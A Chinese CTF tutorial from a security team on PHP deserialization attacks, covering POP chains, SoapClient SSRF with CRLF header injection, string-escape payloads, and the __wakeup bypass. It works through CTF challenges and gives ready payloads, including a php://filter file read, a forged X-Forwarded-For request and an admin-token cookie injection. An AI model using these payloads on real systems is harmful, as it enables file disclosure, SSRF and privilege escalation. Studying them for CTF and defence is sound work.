CTF PHP反序列化姿势总结
0x00 对象注入类型
讲解
unserialize()
之前没有进行相应的过滤会产生漏洞,因为PHP允许对象序列化,攻击者就可以提交特定的序列化字符串给一个具有相应漏洞的unserialize
函数,最终导致一个在该应用范围内的任意PHP对象注入。unserialize
的参数可控代码里有定义一个含有魔术方法的类,且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数
例题(原创)
class A{
var $name = "tide";
function __destruct(){
echo $this->test;
}
}
$a = 'O:1:"A":1:{s:4:"name";s:4:"tide";}';
unserialize($a);
__destruct
函数,同时会覆盖test变量,输出tide。0x01 POP链构造利用
讲解
例题([MRCTF2020]Ezpop)
Welcome to index.php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
__construct 当一个对象创建时被调用,
__toString 当一个对象被当作一个字符串被调用。
使用unserialize时触发
用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
当脚本尝试将对象调用为函数时触发
Modifier::__invoke()<--Test::__get()<--Show::__toString()
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
public function __toString(){
return "karsa";
}
}
class Test{
public $p;
}
$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
0x02 PHP原生类反序列化利用
讲解
简介
利用讲解
nc -lvvp 4567
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:4567'));
$b = serialize($a);
$c = unserialize($b);
$c -> not_a_function();//调用不存在的方法,让SoapClient调用__call
SOAPAction
处使我们的可控参数,因此我们可以尝试在这里注入自己构造的CRLF,即插入**\r\n**
$a = new SoapClient(null,array('location'=>'http://127.0.0.1:4567', 'user_agent'=>"tide\r\nContent-Type:application/x-www-form-urlencoded\r\n"."Content-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string, 'uri'=>"aaa"));
$b = serialize($a);
$c = unserialize($b);
$c -> not_a_function();//调用不存在的方法,让SoapClient调用__call
例题(CTFShow Web259)
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
token=ctfshow
还有xff请求头,所以构造的payload如下:$post_string = "token=ctfshow";
$a = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php', 'user_agent'=>"aaaaaa\r\nContent-Type:application/x-www-form-urlencoded\r\n"."X-Forwarded-For: 127.0.0.1,127.0.0.1\r\n"."Content-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string, 'uri'=>"aaa"));
$b = serialize($a);
echo urlencode($b);
X-Forwarded-For
里需要两个127.0.0.1是因为docker环境的cloudfare代理导致的。O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22aaa%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A129%3A%22aaaaaa%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
0x03 PHP反序列化字符串逃逸
简介
;
作为字段的分隔,以}
作为结尾,并根据长度判断内容,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化。序列化后的字符串经过了替换或修改,导致字符串长度发生变化。 先序列化,再进行替换修改导致。
替换修改后导致序列化字符串变长,例如,将字符串bb替换成ccc 替换修改后导致序列化字符串变短,例如,将字符串aaa替换成cc
例题讲解(CTFShow Web262)
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
fuck
替换为loveU
,也就是长度从4变成了5,可以操作的内容增加了一位,而且只要message
类中的token
值为admin
,就会输出flag,所以payload如下:";s:5:"token";s:5:"admin";}
fuck
来获取额外的27个长度,来满足我们的payload,所以最终构造的payload如下?f=123&m=123&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
0x04 PHP反序列化杂项
php7.1+反序列化对类属性不敏感
\x00*\x00
\x00*\x00
也仍然会输出tideclass test{
protected $a;
public function __construct(){
$this->a = 'tide';
}
public function __destruct(){
echo $this->a;
}
}
unserialize('O:4:"test":1:{s:1:"a";s:4:"tide";}');
绕过__wakeup(CVE-2016-7124)
__wakeup
的执行。利用
class test{
public $name;
public $nickname;
public function __construct(){
$this->name = 'abc';
$this->nickname= &$this->name;
}
}
$a = serialize(new test());
$b
设置为$a
的引用,是$a
永远与$b
相等。16进制绕过字符的过滤
O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析。
E
N
D
关
于
我
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章370余篇,自研平台达到26个,目有15个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们。
微信扫码关注该文公众号作者
戳这里提交新闻线索和高质量文章给我们。
来源: qq
点击查看作者最近其他文章